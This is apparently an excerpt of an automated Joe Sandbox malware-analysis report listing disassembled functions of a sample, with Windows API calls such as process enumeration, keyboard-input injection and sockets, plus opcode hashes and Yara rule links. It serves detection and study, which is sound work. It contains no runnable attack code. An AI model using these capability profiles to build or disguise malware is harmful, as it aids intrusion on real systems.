Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 5eca4f84ae38b7c90ef4fac08867831c3278b49fca097d9bd18195842733be8c
Instruction ID: 12c3b554e7d51a88f234f2c714a43583ea733e0c2bdbebdce204673cb5744fb0
Opcode Fuzzy Hash: 5eca4f84ae38b7c90ef4fac08867831c3278b49fca097d9bd18195842733be8c
Instruction Fuzzy Hash: 75312F75A00219AFDB10DF64C885EAA7BF8FF44308F144099F905DB252DB75ED45CBA1

Function 008541EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0085424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00854264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00854271

Strings

msctls_trackbar32, xrefs: 00854226

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: e4a16bb6fe39a6c711659c991ee998de3da4701e9820099438fd145db8a76c04
Instruction ID: db852f0bed99de2bb0af5f6253555947620930a5ebab7396c8542192b94dbeab
Opcode Fuzzy Hash: e4a16bb6fe39a6c711659c991ee998de3da4701e9820099438fd145db8a76c04
Instruction Fuzzy Hash: 0011E331240208BEEF205E29CC46FAB3BACFF95B59F110128FA55E2090D271D8519B20

Function 00822F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007C6B57: _wcslen.LIBCMT ref: 007C6B6A

Part of subcall function 00822DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00822DC5
Part of subcall function 00822DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00822DD6
Part of subcall function 00822DA7: GetCurrentThreadId.KERNEL32 ref: 00822DDD
Part of subcall function 00822DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00822DE4

GetFocus.USER32 ref: 00822F78

Part of subcall function 00822DEE: GetParent.USER32(00000000), ref: 00822DF9

GetClassNameW.USER32(?,?,00000100), ref: 00822FC3
EnumChildWindows.USER32(?,0082303B), ref: 00822FEB

Strings

%s%d, xrefs: 00822FFF

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: d6b353ed4bbe74df5d29c7011d60f4c7b01ac30b13f6066384692d3eb19a621e
Instruction ID: 28e1b67a8f1a6981317948b519559db1e2a9e772bf88d565a7704fa514e255f7
Opcode Fuzzy Hash: d6b353ed4bbe74df5d29c7011d60f4c7b01ac30b13f6066384692d3eb19a621e
Instruction Fuzzy Hash: 0A11C3B1200219ABCF00BF749C95EED37AAFF94304F044079B909DB252DE385E898B70

Function 00855882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 008558C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 008558EE
DrawMenuBar.USER32(?), ref: 008558FD

Strings

0, xrefs: 0085588F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: 0898ae56f283bb615d259181d91097bb8218173a2dab5fac16dfa7cbfbb2475a
Instruction ID: b52ef3680a142ca8e605d10eb1fc9acf687747e4c1f485f275cf3ae79e1bd4ef
Opcode Fuzzy Hash: 0898ae56f283bb615d259181d91097bb8218173a2dab5fac16dfa7cbfbb2475a
Instruction Fuzzy Hash: B9018431500218EFDB119F51EC44BAEBFB5FF45362F108099E849D6261DB348A84DF71

Function 0082007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c1ba45a9a6bcafaabb07d66c7de0194aae1644734704b8a8a26d689d5317f57
Instruction ID: 7d64030a5e0f8e819c4666b7c5538d55c01e897be25b79c729ded36bdeedeccd
Opcode Fuzzy Hash: 4c1ba45a9a6bcafaabb07d66c7de0194aae1644734704b8a8a26d689d5317f57
Instruction Fuzzy Hash: 7BC14C75A0021AEFDB14CF94D898AAEB7B5FF48704F108599E905EB252D731ED81CF90

Function 0084342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00843459
CoUninitialize.OLE32 ref: 00843463
VariantInit.OLEAUT32(?), ref: 0084346E
VariantClear.OLEAUT32(?), ref: 0084371B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: 22e74d9f8751b7a59706bb1fd5ecdfdab9faae4aafb13582f32f20ee619436c5
Instruction ID: 4f440d179eb729dfa824147b5150c142c5a8045f8e4f3a0985fd8b0a94028689
Opcode Fuzzy Hash: 22e74d9f8751b7a59706bb1fd5ecdfdab9faae4aafb13582f32f20ee619436c5
Instruction Fuzzy Hash: 08A103756042059FCB14DF28C489A2AB7E5FF88714F05885DF98A9B362DB34EE01DB92

Function 00820436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,0085FC08,?), ref: 008205F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,0085FC08,?), ref: 00820608
CLSIDFromProgID.OLE32(?,?,00000000,0085CC40,000000FF,?,00000000,00000800,00000000,?,0085FC08,?), ref: 0082062D
_memcmp.LIBVCRUNTIME ref: 0082064E

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: f68f0d4ad1bfba5b10d021aed5568333e5a0f3a16c14fb499d1e9e7b4f2a3065
Instruction ID: 53fe8ba2a88d9ca97c8c23a092149137d7bf719d110a2073ea032cb953b959e3
Opcode Fuzzy Hash: f68f0d4ad1bfba5b10d021aed5568333e5a0f3a16c14fb499d1e9e7b4f2a3065
Instruction Fuzzy Hash: 07810771A00219EFCB04DF94C988EEEB7B9FF89315B204558E506EB251DB71AE46CF60

Function 0084A67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0084A6AC
Process32FirstW.KERNEL32(00000000,?), ref: 0084A6BA

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

Process32NextW.KERNEL32(00000000,?), ref: 0084A79C
CloseHandle.KERNEL32(00000000), ref: 0084A7AB

Part of subcall function 007DCE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00803303,?), ref: 007DCE8A

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: 3de8909cd68bd1d6c451dda517d3b438a48fed0c9a2eefabed91f4ccc40d57d4
Instruction ID: 523f56c5f873a8b90e4cba52363b5b4912c4fe2d6dc45e9f15c2af0e2b729e7d
Opcode Fuzzy Hash: 3de8909cd68bd1d6c451dda517d3b438a48fed0c9a2eefabed91f4ccc40d57d4
Instruction Fuzzy Hash: 03511971508700AFD714EF24D88AE6BBBE8FF89754F40492DF58597251EB34E904CB92

Function 00801391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 008014C0

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: b5c7c581c81944569cd5854931deb426504f951b8cc5dabd844ca1dacf481562
Instruction ID: e570cc2bcf11f84f34dfc4d93e27ae780fd6d88acad25d6668cca0c23b74ed56
Opcode Fuzzy Hash: b5c7c581c81944569cd5854931deb426504f951b8cc5dabd844ca1dacf481562
Instruction Fuzzy Hash: 94415D32600948EBDF616FBD8C8D6BE3AAAFF45330F144225F618D72E2E73848415766

Function 00856278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 008562E2
ScreenToClient.USER32(?,?), ref: 00856315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00856382

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 7c7a7ca3302acaf76b3745099a3f4269ae9807294e8283ba0e73cf8ae33a4167
Instruction ID: 1be255b0b380951854d75fb57ba03486aa54f5ad3581d8347083bc47885e72d3
Opcode Fuzzy Hash: 7c7a7ca3302acaf76b3745099a3f4269ae9807294e8283ba0e73cf8ae33a4167
Instruction Fuzzy Hash: BB513A74A00209EFCF10DF68D884AAE7BB6FB45365F508169F815DB2A0E730ED95CB50

Function 00841AD6 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 00841AFD
WSAGetLastError.WSOCK32 ref: 00841B0B
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00841B8A
WSAGetLastError.WSOCK32 ref: 00841B94

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: efc7d14a1602e66942e46b88efcaafae91ded40abf813051e33f0cfff80da6dd
Instruction ID: a2fc383f17477b83c81b539f096b06adcde398b0c2af4fb343e56d8a41f145c9
Opcode Fuzzy Hash: efc7d14a1602e66942e46b88efcaafae91ded40abf813051e33f0cfff80da6dd
Instruction Fuzzy Hash: C6417035640304AFEB20AF24C88AF2977E5EB44718F54845CF91A9F7D2D776DD828B90

Function 007FB41F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb5fa1af4f0bddc5b69b3c690a3e106c13dead4a2a29c2c2a590fae8327b4119
Instruction ID: 413225fe76d7a2a60b8d8c35c765c48d7531b05ebcc46b1e472430f4e3de0cfb
Opcode Fuzzy Hash: fb5fa1af4f0bddc5b69b3c690a3e106c13dead4a2a29c2c2a590fae8327b4119
Instruction Fuzzy Hash: 63412B75900748FFD7249F78CC45B7E7BA9EB88710F10452AF251DB782D779A9018B90

Function 008356D9 Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 00835783
GetLastError.KERNEL32(?,00000000), ref: 008357A9
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 008357CE
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 008357FA

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: c5aa0cdebd00a23d008b3e6e19230e08204e92db08d51865cbf24d8120e13f87
Instruction ID: ba814c03e74319007079451c990c9fb31dfbc9b915675602eac088d0dd1be42a
Opcode Fuzzy Hash: c5aa0cdebd00a23d008b3e6e19230e08204e92db08d51865cbf24d8120e13f87
Instruction Fuzzy Hash: 7D410735600610DFCB15DF15D445A5ABBE2FF89320B18889CE84AAB362CB38FD41DF91

Function 007FD8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,007E6D71,00000000,00000000,007E82D9,?,007E82D9,?,00000001,007E6D71,?,00000001,007E82D9,007E82D9), ref: 007FD910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 007FD999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 007FD9AB
__freea.LIBCMT ref: 007FD9B4

Part of subcall function 007F3820: RtlAllocateHeap.NTDLL(00000000,?,00891444,?,007DFDF5,?,?,007CA976,00000010,00891440,007C13FC,?,007C13C6,?,007C1129), ref: 007F3852

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 4bcb5c6cb6de51fe7ba2c6927e3370973df0d8acb46dd037493df8300425fe2f
Instruction ID: a67935a3ce5eb81ecab97033b5f7cf2dfe53a34acc22a89c0e193ae56958b834
Opcode Fuzzy Hash: 4bcb5c6cb6de51fe7ba2c6927e3370973df0d8acb46dd037493df8300425fe2f
Instruction Fuzzy Hash: 2F31CF72A0020AABDF25DFA9DC45EBE7BA6EB40310F054168FD04D7251EB79ED50CBA0

Function 008552C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00855352
GetWindowLongW.USER32(?,000000F0), ref: 00855375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00855382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 008553A8

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 2c50d99ed814273fa30d42a3b093c1984075b7da759e951f273ec42e5eef5ce9
Instruction ID: e8cd6899bd0ab7a2b5b42fc489343332621e904d830cd5821d90f3efa52701f0
Opcode Fuzzy Hash: 2c50d99ed814273fa30d42a3b093c1984075b7da759e951f273ec42e5eef5ce9
Instruction Fuzzy Hash: BE31C134A55A0CEFEF209F14CC25BE977A2FB06392F584016BE19D63E0C7B499889B41

Function 0082AB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,7694C0D0,?,00008000), ref: 0082ABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 0082AC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 0082AC74
SendInput.USER32(00000001,?,0000001C,7694C0D0,?,00008000), ref: 0082ACC6

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 991fefb9558f6b69e8864a085315d1eb05e0034dfecd813a4c965c7aea39001e
Instruction ID: 24052af6ce448196f9b2b067141f0039d0165826be30b34962ea66a05c7ec4cc
Opcode Fuzzy Hash: 991fefb9558f6b69e8864a085315d1eb05e0034dfecd813a4c965c7aea39001e
Instruction Fuzzy Hash: 5931F430A04728AFFF298B65EC047FA7BAAFF89310F04421AE485D21D1D3798AC58752

Function 00857674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0085769A
GetWindowRect.USER32(?,?), ref: 00857710
PtInRect.USER32(?,?,00858B89), ref: 00857720
MessageBeep.USER32(00000000), ref: 0085778C

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 1f2948ca9719b7853ec5893925d5bf984f78b400f7dd8e76d685caa8fc001746
Instruction ID: 609ccaca42d67f0bf5e93689ede672ed168918dbdd3e20146ad2731dc25f36d6
Opcode Fuzzy Hash: 1f2948ca9719b7853ec5893925d5bf984f78b400f7dd8e76d685caa8fc001746
Instruction Fuzzy Hash: 2641AD34609255DFDB02DF58E898EA9BBF5FB49306F1880A9E814DB261C330A949CF90

Function 008516DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 008516EB

Part of subcall function 00823A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00823A57
Part of subcall function 00823A3D: GetCurrentThreadId.KERNEL32 ref: 00823A5E
Part of subcall function 00823A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,008225B3), ref: 00823A65

GetCaretPos.USER32(?), ref: 008516FF
ClientToScreen.USER32(00000000,?), ref: 0085174C
GetForegroundWindow.USER32 ref: 00851752

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: ad2e878fa0ff8f4e864c27a6cf8d79bd52c0d8f1622bb6f1766402e5c7fa870c
Instruction ID: 04a69b51a870e35e28ef122b794e44ddc43f43ff39989d8b4204309de9d7ab0d
Opcode Fuzzy Hash: ad2e878fa0ff8f4e864c27a6cf8d79bd52c0d8f1622bb6f1766402e5c7fa870c
Instruction Fuzzy Hash: 6F313E75D00249AFCB04EFA9C885DAEBBF9FF48304B5480AEE415E7211DA359E45CBA1

Function 00858FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007D9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 007D9BB2

GetCursorPos.USER32(?), ref: 00859001
